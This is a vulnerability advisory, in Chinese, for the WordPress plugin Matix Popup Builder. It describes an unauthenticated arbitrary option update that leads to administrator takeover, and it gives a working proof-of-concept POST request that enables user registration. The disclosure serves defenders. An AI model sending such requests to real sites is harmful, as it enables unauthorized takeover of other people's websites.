Matix Popup Builder <= 1.0.0 - 未认证的任意选项更新
WordPress 的 Matix Popup Builder 插件在所有版本（包括 1.0.0）中，由于缺少对某个功能的权限检查，导致可能发生未经授权的数据修改，进而造成权限提升。这使得未认证的攻击者能够更新 WordPress 站点上的任意选项。攻击者可以利用此漏洞将默认注册用户角色更新为管理员，并启用用户注册，从而获得对易受攻击站点的管理员访问权限。
Score: 9.8
Vendors: Medma Technologies
Products: Matix Popup Builder
CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Interaction: none
Privileges: none
Attack Vector: network
POST /wp-admin/admin-ajax.php HTTP/2
Host: wp-dev.ddev.site
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=4
Te: trailers
Content-Type: application/x-www-form-urlencoded
Content-Length: 76
action=medma_mtx_insertContentValue&option_name=users_can_register&content=1